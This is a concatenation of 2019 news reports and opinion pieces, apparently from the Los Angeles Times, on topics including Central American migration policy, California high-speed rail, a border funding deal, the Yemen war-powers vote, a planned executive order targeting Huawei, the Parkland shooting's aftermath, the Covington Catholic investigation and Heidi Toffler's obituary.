What is needed, then, is a set of policies that address the particularities of todays Central American migration. Fortunately, a considerable toolbox has developed from multiple experiences with similar challenges. Mexican farm workers, Hungarian refugees, Vietnamese boat people, Soviet Jews, Cuban rafters, Haitian boat people, and in the 1990s a different set of Central American migrants have all been addressed with targeted legislation and policies.

Some substantial number of Central Americans will continue to bring valid pleas to the asylum system. We can better honor our moral and legal commitments to the principle of non-refoulement -- not returning people to danger -- by creating alternative channels for worthy migrants fleeing chaos at home who would not likely qualify for asylum. That would take some of the pressure off the machinery of adjudicating immigration cases now collapsing under its caseload.

Enter the Fray: First takes on the news of the minute 

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Several legal pathways could be crafted. Women and children reuniting with men already here could be admitted with narrowly tailored family visas. Single males could be granted time-limited humanitarian visas, or they might be directed to existing temporary worker programs. Regardless of the mechanism, the selection criteria would be specific, the programs would have sunset provisions, and the new visas would not substantially increase total admissions beyond current levels.

The number of immigrants granted green cards has been topping a million a year since the turn of the millennium, and another 300,000 or so come in on short-term employment visas. A relatively small share of those yearly numbers, say 100,000 or so eventually, more at first, would replace the dangerous treks to the U.S. border with an orderly process. Meanwhile, Mexicos new administration has taken in more than 10,000 Central Americans in just the last two months, launching a resettlement program aimed at meeting humanitarian obligations while also addressing labor shortages.

Special programs for Central Americans may seem politically far-fetched at the moment. But this is the kind of pragmatismtypically American and well-practiced in the past that will better manage todays immigration challenges and stay true to our beliefs about the kind of nation we strive to be.

Roberto Suro is a professor of public policy and director of the Tomas Rivera Policy Institute at USC. T. Alexander Aleinikoff is university professor and director of the Zolberg Institute on Migration and Mobility at the New School, where he also hosts the podcast Tempest Tossed.Egypts court of urgent matters issued a verdict on Wednesday dissolving the pharmacists syndicate council and imposing legal guardianship until the holding of new elections.

The ruling came after pharmacists filed lawsuit charging that internal disputes erupted inside the pharmacist syndicate in 2018, generating two general assemblies that were held in May the same year. The assemblies took contradicting decisions and forcibly prevented some pharmacists and council members from entering the syndicate headquarters.

The lawsuit charged this internal dispute lead to the suspension of the special treatment project for the medical union.

In May, a general assembly for the syndicate issued a decision to suspend the syndicate head Mohey Ebied and refer him to a disciplinary committee. The decision was upheld by an administrative court ruling.

On Monday, the Supreme Administrative Court upheld a lesser court ruling to suspend Ebeid in May 2018, making the verdict final.

In January 2019, a Cairo court judge ordered Ebeid to be detained pending investigation into an assault on a pharmacist inside the syndicate headquarters in Cairo last year.

Last October, unknown assailants broke into the headquarters and assaulted some of those present inside, resulting in the injury of a number of pharmacists and syndicate members. The victims accused Ebeid of staging the assault.

Four journalists also filed lawsuits against Ebeid last December, accusing him of assault during their coverage of the syndicate general council elections.

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White House press secretary Sarah Huckabee Sanders took a backhanded slap at House Speaker Nancy Pelosi in a briefing with reporters Wednesday morning that reflected worse on Sanders than on the Democrat from San Francisco.

When asked if President Trump would sign the bill Congress was finalizing to fund the federal government through Sept. 30, Sanders was noncommittal  as Trump has been, and as they should be. Its going to be a very big bill, and its final provisions havent been revealed yet. Given that appropriations bills are often freighted with inscrutably worded provisions slipped in on behalf of special interests, the president cant give the all clear until he knows everything this measure may do.

But Sanders took what would have been a perfectly reasonable response and turned it into a Bizarro-world criticism of Pelosis work ethic.

Its hard to say definitively whether or not the president is going to sign it until we know everything thats in it, Sanders said. Unlike Nancy Pelosi, we actually like to read legislation before we agree to it.

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Wait, what?

Sanders was apparently referring to a misleading GOP attack line on Pelosi that dated back to the 2010 debate over the Affordable Care Act. Speaking to a group of county elected officials in March 2010 a few weeks before the final votes on the ACA, Pelosi laid out several of the highlights of the bill, then conceded that the legislation might be better known for the hyperbolic criticisms of its effects and the way it was being adopted. But we have to pass the bill so that you can find out what is in it, away from the fog of the controversy, Pelosi concluded.

Enter the Fray: First takes on the news of the minute 

Republicans seized on words two through 17 of that sentence and ignored the rest, immediately taking it out of context. The spin at the time was that Democrats were trying to rush a bill through Congress before anyone knew what was in it; that morphed into an assertion that Pelosi wanted Congress to pass a bill before she knew what was in it.

Sanders took the critique one enormous step further, asserting that the speaker doesnt read any of the bills she signs off on. Ahem  there is one leader in Washington with a well-known (and well-acknowledged) antipathy for reading work-related materials, and thats the guy Sanders works for, not Pelosi.

In other words, Sanders took one of Trumps well-known weaknesses and tried to pin it on a top Democrat, using as her shaky foundation a nearly decade-old statement that she not only took out of context, but also hyperbolized. How very much like her boss.Gov. Gavin Newsom distressed some people and delighted others Tuesday when he announced that he was putting on hold Californias ambitious plans to build a bullet train from San Francisco to Los Angeles, and that he would instead focus on finishing high-speed rail service where construction was already underway: between Bakersfield and Merced.

Lets be real, Newsom declared during his first State of the State speech. The project, as currently planned, would cost too much and take too long.

Newsom said hell continue to push for the necessary billions of dollars in federal funding and private investment to extend the bullet train beyond the Central Valley. But implicit in his comments was a warning: Its entirely possible that most of California will never get the high-speed rail service that voters approved at the ballot in 2008.

It boggles the mind that California cannot get the bullet train moving.

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But lets be real, governor. Abandoning high-speed rail would be a tragic mistake for California, for the country and for the planet.

Newsom has been squishy on high-speed rail for a long time. Although hes long said hes a big supporter of the concept, he complained in 2015 that the math doesnt add up. Now, as governor, he is trying to have it both ways, first declaring that the project cant be built as planned, then letting his chief of staff tweet later that Newsom is fully committed to high-speed rail.

Yes, the bullet train has been fraught with problems for years. The project is way beyond the original budget and timetable, and every few months bring headlines telling of new challenges and cost overruns. Newsom is right to be skeptical  and hes proposed some much-needed oversight and transparency changes.

If the proponents of high-speed rail had been more honest in the beginning about the costs and challenges of building this mega-project, perhaps wed be in a better place today. Gov. Jerry Brown was far too starry-eyed about the train and seemed to believe he could build it by ambition alone. If the challenges to this ambitious project are to be overcome it will take Newsoms leadership, which will make or break it.

But amid the complications and obstacles, lets not forget what made high-speed rail such a compelling vision in the first place, and what California would lose if the project were never completed.

If the world is going to deter climate change destruction, now is the time to build a fossil-fuel-free economy and transportation sector. Its ironic that uber-progressive California is ready to pull the plug on the bullet train just as some congressional Democrats are promoting the idea of a Green New Deal that would include a massive investment in just that form of transit.

The bullet train was supposed to be the backbone of a fast, clean mass-transportation system that would connect urban centers across the state. Its clear that California has to expand its transportation systems to keep up with population and economic growth. The bullet train offered a more sustainable solution than paving more farmland for freeway lanes and adding more planes to the skies.

Though the project has often been sold as a fast train between Los Angeles and San Francisco, its greater economic and societal value always has been the connections it would create between the states Central Valley cities and its coastal urban areas. The train would lessen the isolation between affluent coast and struggling interior towns, and give Californians easier access to jobs, affordable housing and universities.

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Enter the Fray: First takes on the news of the minute 

A bullet train that never leaves the Central Valley, but only shuttles between Bakersfield and Merced, may not be a train to nowhere, but its value and potential would be greatly diminished.

California has the worlds fifth-largest economy. Its a center of innovation and environmental stewardship. Yet somehow California  and, frankly, the United States  has been unable to build modern, high-speed train systems while countries from Europe to China and Japan have miles and miles of active high-speed routes. In the years since California voted to spend nearly $10 billion on the project, Uzbekistan started and completed construction on a high-speed rail line between its two largest cities.

It boggles the mind that California cannot get the bullet train moving. Newsom has inherited a messy and complicated project. Hes right to be realistic about the challenges, but he cant give up on the ambition and vision that high-speed rail represents.

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Follow the Opinion section on Twitter @latimesopinion and FacebookFaced with seemingly irreconcilable differences between the two parties positions on border security, top congressional appropriators nevertheless ground out a tentative deal Monday to fund much of the federal government through September. Many of the details have yet to be revealed, but the broad outline reflects a sensible compromise. And if President Trump signs on, Washington will avoid a repeat of the pointless shutdown that cost the taxpayers and the U.S. economy billions of dollars last month.

Thats a big if, however. Unlike the veteran lawmakers on the House and Senate appropriations committees, Trump does not seem to have much of a grasp on where the votes lie in Washington, or which way the political winds are blowing.

The tentative deal is expected to be finalized and voted on by Friday, when funding for nine federal departments and dozens of agencies is scheduled to run out  again. Notably, the deal would not give Trump the $5.7 billion hed demanded for the big, beautiful wall he is eager to build along the southern U.S. border. Nor would it give Democrats the cap they sought on the number of immigrants in the country illegally who could be detained by Immigration and Customs Enforcement.

Contrary to the presidents campaign-style rhetoric, walls do not magically slash crime, interdict the flow of illegal drugs or end human trafficking.

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We sympathize with the Democrats effort to rein in the administrations expansive deportations. The point behind the proposed cap was to force ICE to focus on deporting serious criminals who are in the country illegally, not longtime residents whose only offense was to violate immigration law. But the proposal was too easily caricatured by Trump as an effort to unleash hardened criminal aliens on unsuspecting Americans. And like the many other policy issues involving migrants and legal immigrants, it would be best resolved through a comprehensive bill overhauling the countrys current, flawed approach to immigration  not an overdue spending bill that expires in seven months.

As for border walls, they can be part of the border-security discussion when and if Congress takes up a comprehensive immigration bill. But Trump has grossly oversold the value of building new physical barriers along the border. Contrary to the presidents campaign-style rhetoric, walls do not magically slash crime, interdict the flow of illegal drugs or end human trafficking.

Predictably, Trump told reporters Tuesday that he was not happy about the deal, although he wasnt committing himself one way or the other. If hes even the least bit realistic, though, hed see that he has lost leverage with Congress since Democrats took control of the House in November. Trump rejected a bipartisan offer in December that included $1.6 billion for 65 miles of improved border fencing; the tentative deal struck Monday includes less than $1.4 billion for about 55 miles of fences. Note to the president: Elections matter.

Beyond that, forcing another shutdown would sink the president further in the publics esteem. Polls have consistently shown that most Americans do not support Trumps wall, and that an even larger majority oppose shutting down the government to try to force Congress to fund that project. The longer the last shutdown stretched out, the further Trumps already weak approval ratings fell.

Yet Trump may not be swayed by the disastrous results of the first shutdown. For one thing, he seems to care less about public opinion generally than the feelings of his most passionate supporters, who have embraced the idea of a border wall. For another, Trump may believe that he can pin the next shutdown on the Democrats.

Enter the Fray: First takes on the news of the minute 

But the public has shown over the years that it knows whom to blame when Washington cannot perform its most basic function, namely, funding the government. If theres another shutdown, Trump will be the one taking the government hostage  again.

The president would also be wise not to try to circumvent Congress by declaring a national emergency and shifting funds to the wall from some other project. Such a move would likely be declared unlawful by the courts, and even if it isnt, it would set a horrible precedent for future presidents to usurp Congress power over the federal purse.

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The stark reality for Trump is that he cannot have a wall that the public doesnt want and Congress will not fund. The only question is how long it will take him to recognize that.

Follow the Opinion section on Twitter @latimesopinionand FacebookAsserting congressional authority over war-making powers, the House passed a resolution Wednesday that would force the administration to withdraw U.S. troops from involvement in Yemen, in a rebuke of President Donald Trumps alliance with the Saudi-led coalition behind the military intervention.

Lawmakers in both parties are increasingly uneasy over the humanitarian crisis in Yemen and skeptical of the U.S. partnership with that coalition, especially in light of Saudi Arabias role in the killing of Washington Post columnist Jamal Khashoggi, a critic of the royal family.

Passage would mark the first time Congress has relied on the decades-old War Powers Resolution to halt military intervention. It also would set up a potential confrontation with the White House, which has threatened a veto. The House voted 248-177 to approve the measure, sending it to the Senate, where a similar resolution passed last year.

We have helped create, and worsen, the worlds largest humanitarian crisis, said Rep. Barbara Lee (D-Oakland) during the debate. Our involvement in this war, quite frankly, is shameful.

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The chairman of the House Foreign Relations Committee, Rep. Eliot L. Engel (D-N.Y.) said the vote represents Congress reclaiming its role in foreign policy.

Senate approval would set up a showdown with the administration over Trumps shifting approach on foreign policy.

Lawmakers are quick to point out that Trump wants to withdraw troops from the wars in Syria and Afghanistan as part of his America first approach, but he has shown less interest in limiting the U.S. role in Yemen.

The White House says the House resolution is flawed because U.S. troops are not directly involved in military action in Yemen, where the coalition is fighting the Iranian-backed Houthi rebels in a conflict largely seen as a proxy involving the Mideasts dominant regional players.

Since 2015, the administration says, the U.S. has provided support to the coalition, including intelligence and, until recently, aerial refueling, but it has not had forces involved in hostilities.

Congress has not invoked the War Powers Resolution, which requires approval of military actions, since it was enacted in 1973. Lawmakers approved more sweeping authorizations for the wars in Iraq and Afghanistan that some argue are being used too broadly for other military actions.

Newly emboldened Democrats in the House eager to confront Trump on foreign policy, and Republicans in both chambers have shown a willingness to put a legislative check on the presidents agenda.

Rep. Ro Khanna (D-Fremont), who drafted the legislation with independent Sen. Bernie Sanders of Vermont, said theres an emerging bipartisan alliance thats skeptical of military intervention without congressional oversight.

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Its not just about Yemen. Its about the Congress taking a stand and every future president having to think twice about whether to authorize a military intervention without congressional approval, Khanna said in an interview.The White House is preparing a sweeping executive order that could bar Chinese companies from selling equipment for use in future U.S. telecommunications networks, claiming Beijing could exploit the technology to carry out cyber intrusions and espionage.

The main target of the draft order, expected to be released in days, is Huawei, the worlds largest telecommunications equipment manufacturer. The order would not affect U.S. consumer electronics companies whose products incorporate components from China.

Huaweis attempts to penetrate the U.S. market have alarmed intelligence agencies for years.

The order is certain to further inflame tensions with Beijing as the Trump administration seeks to conclude a trade deal with China. U.S. officials insist the proposed executive order is unrelated to the trade negotiations.

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But in hopes of limiting the fallout, the White House canceled plans to hold a ceremony where Trump would sign the directive in public. Huawei has repeatedly denied any role in Chinas sophisticated digital espionage.

Despite U.S. denials of a tie-in to the trade talks, the Chinese may view the targeting of Huawei, based in Shenzhen, China, as a pressure tactic to gain concessions. It could stiffen Beijings resolve to resist what it sees as American efforts to contain Chinas growing economic and political clout.

The United States and several allies have moved on multiple fronts against Huawei over the last year. The campaign has included criminal prosecutions and high-level pressure on other governments to ban Huawei systems and equipment, which are widely used in Europe and Africa.

The direct impact of the proposed executive order is largely symbolic, since major U.S. telecommunications carriers have largely shunned Huawei routers, switches and other hardware under pressure from intelligence agencies.

Smaller carriers that bought and installed Huawei equipment, in part because of its low cost, would not be required to remove it, according to industry officials.

But excluding China from fifth generation, or 5G, networks is of critical importance, U.S. officials argue. Those networks will carry far more data, extending wireless communications into self-driving cars and other areas of everyday life, making compromise of data potentially even more damaging.

In a new effort to allay U.S. concerns, Huaweis founder, Ren Zhengfei, said the company would rebuff any Chinese government requests to disclose confidential information about its foreign customers and their communication networks.

We would definitely say no to such a request, he told reporters last month in Shenzhen.

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The planned executive order does not mention China or Huawei, according to current and former officials who have read it.

It orders an investigation, likely to be carried out by U.S. intelligence agencies and the Department of Homeland Security, into the risk from telecommunications equipment from countries considered U.S. adversaries. A number of Chinese and Russian firms are likely to be examined.

But once the investigation is complete, a process likely to take several months, it is virtually certain to recommend barring Huawei from the U.S. on national security grounds, according to officials and industry lobbyists who have seen the directive.

Under Chinese law, the government can compel Chinese companies to hand over data and the Communist Party has exercised greater authoritarian control over spheres of business and society in recent years.

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The CIA and the National Security Agency, which focuses on digital espionage, have studied Huaweis operations for over a decade. But current and former U.S. officials say the spy agencies have no smoking gun showing conclusively that Huawei executives have helped Chinese security services penetrate Americas wireless networks.

Some attempts to penetrate overseas telecommunications networks that employ Huawei equipment have been traced to China, according to current and former U.S. officials familiar with the intelligence. But Huaweis involvement is unclear.

The officials cite other reasons why Huawei should be excluded from the U.S. telecom backbone, including alleged links between company executives and the Chinese Communist Party, allegations that Huawei has sought to evade international sanctions on Iran and North Korea, and recent allegations that a Chinese intelligence operative was on the companys payroll in Poland.

Should there be a cost associated with the fact that theyve done all these sorts of things? asked a senior U.S. official, who spoke about the company in return for anonymity. The answer is that now there is starting to be a cost. Their past is starting to catch up with them.

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In December, Canada arrested Huaweis chief financial officer, Meng Wanzhou, daughter of company founder Ren, at the request of the U.S. Justice Department on charges that she helped Huawei evade sanctions on Iran.

U.S. authorities have started extradition proceedings against Meng, who is also deputy chairwoman of the board at Huawei. She has denied any wrongdoing; a hearing is set for March 6.

The FBI and Justice Department are also reportedly investigating whether Huawei stole trade secrets from U.S. companies.

Last summer, the U.S. barred the use of equipment from Huawei and other Chinese companies in Pentagon and other government telecommunications networks, and prohibited the sale of Huawei cellular phones on military bases.

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This week, on a trip to Europe, Secretary of State Michael R. Pompeo urged officials in Hungary and Poland, NATO members that bought heavily from Huawei, to cut off purchases, warning that the Pentagon would have to scale back military cooperation unless they complied.

Weve made clear that if they make a certain set of decisions, that it will be more difficult for the  Department of Defense to work alongside of them  that is, well never put our equipment in a place which would present risk to our technology from having Chinese technology co-located alongside of it, Pompeo told reporters Tuesday.

Trump is also considering taking a potentially more damaging action against Huawei  blocking U.S. companies from selling or exporting critical components to it, just as the administration did last April with ZTE, Chinas second-largest telecom company after Huawei.

The move against ZTE, for sales that violated sanctions on North Korea and Iran, paralyzed the company since it relied heavily on San Diego-based Qualcomm for semiconductor chips.

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After Chinese President Xi Jinping appealed directly to Trump, the Commerce Department lifted the ban on ZTE in July after the company agreed to pay a $1-billion fine and overhaul its leadership.

But a similar move against Huawei would be far more explosive, industry analysts say. It would disrupt the companys supply chain, which is heavily dependent on U.S. components.

It also would threaten the smooth operation of Chinas domestic wireless networks, which are heavily dependent on Huawei, analysts said.

Chinese telecom sales to the United States are tiny. Huawei has effectively been blacklisted by Washington for several years and made little market headway beyond limited sales in rural markets.

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A House intelligence report in 2012 warned that deploying Huawei equipment could make U.S. infrastructure vulnerable to spying and cyberattacks from Beijing. The executive order would signal that Washington views the risks as far more serious.

It could inhibit Huaweis upcoming 5G competitiveness, said Derek Scissors, a China expert at the American Enterprise Institute, a conservative-leaning think tank in Washington.

U.S. industry lobbyists say Trump may back down against Huawei, just as he did with ZTE, to get a trade deal with China before new tariffs are due to kick in on March 2. But some telecom executives are publicly supporting stiffer action against Huawei.

At a House Energy and Commerce Committee hearing Wednesday on the proposed merger of Sprint and T- Mobile, the chief executive of T-Mobile, John Legere, reassured lawmakers that Chinese telecom equipment would not be used in the merged companys networks.

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There is no Huawei or ZTE equipment in the network of T-Mobile, he said. There will not be any. ... In fact, weve had a litigious relationship with them, and we are, frankly, very supportive of the United States governments increased action.

The Trump administration is looking at tougher export controls to thwart Chinas access to tech supply chains, and some administration officials and lawmakers are pushing more broadly to decouple the U.S. economy from Chinas.

Huawei is less dependent on U.S. suppliers than ZTE, but people familiar with Huaweis business say it bought about $12 billion in chips and other products from Qualcomm and other American companies last year.

A ZTE-like ban would clearly hurt and could slow Chinas push to roll out 5G at home and abroad.

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But analysts say it also could propel Beijing to seek supplies from other countries and develop its own supply chain. Some industry analysts question the strategy if it hurts U.S. suppliers and pushes China to speed up its own manufacturing capabilities.

U.S. Trade Representative Robert Lighthizer and Treasury Secretary Steven T. Mnuchin are scheduled to meet with senior trade officials in Beijing on Thursday, but analysts are not optimistic of a breakthrough.

The Chinese side has shown little indication it will give up state-led economic practices that discriminate against U.S. firms.

Without a deal, the Trump administration has said it would raise tariffs from 10% to 25% on $200 billion of Chinese imported goods. On Tuesday, Trump indicated he could put off raising tariffs beyond the March 1 deadline if progress has been made.

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david.cloud@latimes.com

Twitter: @davidcloudLATAndrew Pollack had just settled into a folding chair in a palm-shaded campground when gunfire rang out from a nearby target range. He did not flinch.

It had been nearly a year since his 18-year-old daughter, Meadow, was shot to death with 16 other people at Marjory Stoneman Douglas High School in Parkland, Fla.

I dont think about guns too much, said Pollack, whose daughter was hit by nine bullets. Its too easy to say its the gun. If it was the gun, Id say it was the gun. But when you dig into it  there were so many failures.

Fred Guttenberg also lost a daughter in the massacre  14-year-old Jaime, who was shot in the back as she raced toward a stairwell entrance on the third floor. He has made it his mission to destroy the National Rifle Assn. and push for gun reform.

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The problem is you can go to any school in the U.S.A. today and a killer can get through if they really want, or they can wait outside, he said. If somebody wants to kill a schoolkid, they can do it. Thats why I deal with guns.

Who they were: The victims of the Parkland school shooting 

The slaughter in Parkland last Feb. 14  one of the deadliest school shootings in U.S. history  famously launched the March for Our Lives movement of students in favor of gun control. But a year later there is little consensus among the parents who lost children on how to prevent the next school massacre.

The two fathers  Pollack and Guttenberg, both Long Island, N.Y., natives in their early 50s, both committed to holding officials accountable for the killings and making schools safer  have very different beliefs about what should be done.

An unabashed conservative

After the massacre, Pollack was furious as he watched TV news coverage. An unabashed conservative who voted for Donald Trump in 2016, Pollack was enraged by the medias focus on gun control.

How, he wanted to know, did the gunman get into the school? Why was he not on anyones radar? Where was the school resource officer?

Im just looking at it and I know theres more to the story, said Pollack, who owns and manages rental properties. Im like, Why is everyone just focusing on gun control when I know there are multiple failures that happened?

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A week after the shooting, he met Trump.

Andrew Pollack, flanked by his sons, speaks during a visit to the White House last year. (Mandel Ngan / AFP/Getty Images)

Im pissed, he shouted in a packed listening session at the White House. Its not about gun laws right now. Thats another fight, another battle. Lets fix the schools and then you guys can battle it out.

Still, Pollack played a key role in persuading Florida lawmakers to pass a landmark school-safety bill that raised the minimum age to purchase a firearm from 18 to 21, instituted a three-day waiting period for most gun purchases and banned the sale or possession of rapid-fire devices known as bump stocks.

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In life, you have to give to get, he said, noting that the bill also fortified schools, boosted mental health services and required schools to have a threat assessment team. It also established a contentious guardian program to allow some school employees to bring firearms on campus after 132 hours of firearms training.

Pollack is enraged about the pro-gun-control student activists.

They just got famous off the death of these kids, he said. Their agenda was to get famous and spew more of their liberalism ways without looking at the facts.

A photograph of Meadow Pollack at a vigil for Parkland victims two days after the mass shooting. (Greg Lovett / Palm Beach Post)

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His belief that gun control was a misguided policy only became stronger as details began to emerge about how the gunman managed to enter the school.

An unarmed security monitor first spotted the killer  a 19-year-old former student named Nikolas Cruz  entering the campus with a duffel bag, but failed to confront him or issue a Code Red alert that would have triggered a campus lockdown.

Another security monitor hid in a janitors closet. The only armed law enforcement officer on campus reported shots from inside the 1200 building but stood outside and took cover behind a column.

Law enforcement officers did not enter until 11 minutes after Cruz had fired his first shot.

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Eleven minutes! said Pollack. Thats why I dont blame guns. In that time, the killer could have had any kind of weapon in there  an ax, a knife, a musket!

Two days after the shooting, the Federal Bureau of Investigation announced that it had failed to act on a Jan. 5 tip that Cruz had guns and had demonstrated a desire to kill people, erratic behavior, and disturbing social media posts.

A state panel tasked with investigating the massacre published a 439-page report last month that found that Cruz had displayed behavioral problems from an early age and that numerous opportunities to get him help had been missed.

Mother of Parkland shooting victim turns her grief into a fight for change 

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At 3, he was asked to leave a preschool program after kicking and biting. In middle school, he was so unruly that staff had to escort him around campus. In high school, he used racial slurs, drew a swastika on his backpack, carried a dead squirrel in his lunchbox, spoke of drinking gasoline and threatened to shoot up the school.

Cruz was treated for depression and attention deficit disorder, but the state panel noted he was never diagnosed with a serious mental illness or committed to a psychiatric facility.

He had no criminal record, even though sheriffs deputies were called to his home 21 times to deal with complaints about him. He allegedly shot a neighbors chickens with a pellet gun, posted online photos posing with a gun and made online threats to carry out a school shooting.

Who should I be angry with first? said Pollack, who has co-written a book: Why Meadow Died: The People and Policies That Created Parklands Shooter and Endanger Americas Students.

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Pollack believes that a culture of leniency has pervaded the Broward County school district at least since 2013, when it instituted a program that discourages suspensions, expulsions and arrests in favor of counseling, conflict resolution and mentoring for students who commit certain nonviolent infractions at school.

As a result, he said, students have been allowed to get away with disruptive and even criminal behavior.

Ultimately, Pollack wants to secure schools by making everybody pass through a single, secure entrance and metal detectors. He also wants schools to improve safety training for staff and mental healthcare.

You could go over a hundred what ifs,  he said. Everything had to work perfectly and everyone had to be incompetent for my daughter to get murdered.

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Fred Guttenberg, whose daughter died in the Parkland massacre, speaks at a CNN town hall just days after the shooting. (Michael Laughlin / Sun-Sentinel)

In support of gun control

Guttenberg was also livid over the initial news broadcasts about the massacre.

A registered Democrat who does not own a gun, he struggled to understand why Trump and other politicians talked of securing schools and improving mental health treatment without addressing a key fact: The killer had access to a rapid-fire weapon.

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They were unable actually to even use the word gun! he recalled.

At a vigil the night after the shooting, Guttenberg pumped his fists up and down. I  I dont know what I do next, he said. My wife is at home. We are broken. But I can tell you: Dont tell me theres no such thing as gun violence!

A week later, at a CNN town hall meeting, the former Dunkin Donuts franchise owner confronted U.S. Sen. Marco Rubio.

So you and I are now eye to eye, Guttenberg told him. Look at me and tell me guns were the factor in the hunting of our kids in this school this week! Look at me and tell me ... you will work with us to do something about guns!

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Guttenberg does not dismiss the mistakes made by local and federal officials.

He was picking out a casket for Jaime when an FBI agent called to notify him of the agencys failure to act on a tip about Cruz. In addition to lawsuits he filed against the companies that manufactured Cruzs AR-15-style rifle and sold it to him, Guttenberg is also suing the FBI for negligence.

Fred Guttenberg and daughter Jaime, who was shot to death in the Parkland massacre last year. (Susan Stocker / Sun-Sentinel)

Anyone who played a role in the fact that I dont get to watch my daughter dance anymore  that I dont get to teach her to drive, that I dont get to watch her grow up with her brother  should consider themselves served, he said.

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Guttenberg also supports most of Pollacks efforts to make schools safer.

But he thinks it makes more sense for America to regulate access to guns than to fortify every school, temple, church, mall and park. Well have to have armed guards on every street corner soon, he said.

He pushes back against the idea propagated by some gun-rights advocates that the outcome at Parkland would have been the same no matter the weapon.

Any other type of weapon, this guy doesnt even get halfway down the first floor, Guttenberg said. Its a nonsense argument, the gun lobby argument, and I reject it completely.

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He wants to tighten gun laws across the country: Raise the minimum age to buy guns to 21, add a waiting period before gun sales, require background checks on guns and ammunition, and block sales of high-capacity ammunition magazines and bump stocks.

Though he would also like to restrict access to semiautomatic weapons, he recognizes the political reality that only about 40% of Americans support making it illegal to manufacture, sell or own semiautomatic weapons.

Theres other ways to ensure gun safety and bring people together on the issue, Guttenberg said. When you get to banning, people run left and right.

A shared, unending pain

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As the anniversary of the massacre neared, Pollack said he had no interest in marking it.

Every day is Feb. 14 to me, he said.

He and his wife, Julie, sold their sprawling five-bedroom house with the intention of speeding up plans to retire outside Florida  to somewhere more rural and more conservative. But they remain in the area for now, living in their tiny camper while Pollack continues his work to make schools safer.

Unshaven, he wore sweatpants and a Carhartt jacket with a gold pin of an angel below the lapel  a gift in memory of Meadow.

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He no longer works out at the gym or plays lacrosse. He rarely smiles. He doesnt pray like he used to.

Im a walking dead man, he says flatly. I feel bad for my wife that shes even gotta be with me. She got the short end of the stick.

Guttenberg feels broken, too. But he credits the Parkland community with helping him feel a little less so.

Still, it hurts to watch Jaimes friends grow up and become sophomores. As other parents planned Sweet Sixteens, he and his wife, Jennifer, planned the unveiling of Jaimes headstone.

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People say give it time, he said. The further away, it actually gets harder.

He now works full time on changing gun laws.

Eventually, Guttenberg plans to move, too. Somewhere he can drive to the local supermarket without passing the studio where Jaime learned to dance.

Were not going too far, he said gently, as if reassuring himself. My daughter is buried here.

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jenny.jarvie@latimes.com

@jennyjarvieAn investigation released Wednesday into an encounter between Covington Catholic High School students and Native American activists at the Lincoln Memorial last month largely supports the students accounts of the incident which prompted immediate and widespread condemnation of the boys after a video of the encounter went viral.

A short video clip showed Native American Nathan Phillips, playing a traditional drum in an apparent standoff with a smiling student, Nick Sandmann, who was wearing a Make America Great Again hat. The Kentucky Diocese of Covington and Covington Catholic High School, a private school which arranged the trip, were among those initially condemning the boys actions in the video.

The report, prepared for the diocese by Greater Cincinnati Investigation Inc. and dated Monday, employed four licensed investigators for approximately 240 hours to take statements from students and chaperones, as well as to interview third-party witnesses and review about 50 hours of video. Investigators were not able to interview either Phillips or Sandmann in person and instead reviewed the students written account.

The investigators said they found no evidence that the students responded in an offensive manner to the Black Hebrew Israelites, another group that was protesting near where the incident occurred, or that they chanted Build the Wall. After asking chaperones, they performed a school cheer, according to the report, to drown out the Black Hebrew Israelites who were reportedly taunting them.

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Other key findings include testimony that the students felt confused by Phillips approach. Investigators said they found no evidence of racist or offensive statements by students to Mr. Phillips, though some performed a tomahawk chop.

According to the report, one of the chaperones told students that if they engaged in a verbal exchange with the Black Hebrew Israelites, they would receive detention when returning to school.

According to the report, most boys bought the red hats bearing President Trumps MAGA slogan in Washington on the day of the March for Life. In previous years, some students bought Hope hats in support of President Obama, the report says.

The Bishop of Covington welcomed the report in a statement on the dioceses website. Roger Foys wrote that he was pleased that my hope and expectation expressed in my letter to you of 25 January that the results of our inquiry ... would exonerate our students so that they can move forward with their lives has been realized.

In a joint statement with the school, the diocese denounced the boys behavior the day after the march, calling it opposed to the churchs teachings on the dignity and respect of the human person.

We condemn the actions of the Covington Catholic High School students towards Nathan Phillips specifically, and Native Americans in general, the statement read.

Foys later wrote that he was bullied and pressured into making a statement prematurely and that it is important for us to gather the facts that will allow us to determine what corrective actions, if any, are appropriate.

The report does not provide any recommendations for future changes, such as banning political attire or changes to chaperone protocol. Many people were critical that the adults in charge did not intervene more forcefully to avoid or end the interactions.

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Nor does the report address underlying issues of diversity that were raised before it was released, including by local NAACP leader Jerome Bowles.

Any missteps, Bowles suggested, occurred before the students left for Washington.

There has to be a look at diversity in the diocese in general. Covington Catholic is a very academically proficient educational institution, no one questions that. But is the school totally preparing students for the work force and a diverse world? he asked.The digital age was still off in the distance when Future Shock arrived in Americas bookstores, offering readers a sobering forecast of a future in which change and information would be arriving at such a dizzying pace that humankind would be overwhelmed.

As the book became a global bestseller and a cultural mile marker, the full credit for Future Shock fell squarely on the shoulders of Alvin Toffler, the noted futurist. But it was his wife and intellectual partner, Heidi, who had supplied much of the research, brainpower and editing that made the book a staple of the post-industrial era.

Belatedly, Heidi Toffler was added as a co-author, and the two would forever share bylines as they continued to publish forward-looking books, papers and commentaries that offered a glimpse into what the future might hold.

Curious and prolific until the end, Heidi Toffler died Feb. 6 at her home in Los Angeles, according to Toffler Associates, the consulting firm she co-founded. She was 89. Alvin Toffler died in 2016.

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In Heidi, Alvin had an intellectual equal who encouraged and challenged him almost daily, said Deborah Westphal, who chairs Toffler Associates.

Future Shock, which was published in 1970 and became the first in a trilogy of books that provided a road map for a changing world, foresaw what would become the digital age, when information would be bombarding people at such an ever-accelerating pace that it would produce a collective sense of anxiety, a shared feeling  as The Times John Balzar noted in 1993  that were about to be late for tomorrow.

The traditional nuclear family would be swept away, the mail carrier replaced with email and the anchors that had long rooted Americans  religion, country, job security  would be shaken. Knowledge, the book forecast, would be the currency of a globally connected world where people would need to learn, unlearn and relearn in order to survive.

Future Shock arrived on bookshelves at a tumultuous time. The Summer of Love had come and gone, the war in Vietnam was grinding on and the streets and universities were simmering with unrest. The book was embraced as a guide to the future.

In a 1994 interview with New Scientist, Alvin Toffler offered up a succinct definition of future shock.

With future shock, you stay in one place but your own culture changes so rapidly that it has the same disorienting effect as going to another culture, he said.

We are sad to announce the passing of co-founder, author, and noted futurist Heidi Toffler. At a time when few women were allowed in the room, Heidi had a seat at the table with influential leaders. She made an indelible mark on history, -@westphaldeb https://t.co/qQnrrS4eyH  Toffler Associates (@TofflerInsights) February 12, 2019

Many of the predictions of what the future would look like held up  genetic engineering, a computer-driven society, virtual reality and a worrisome sense of information overload.

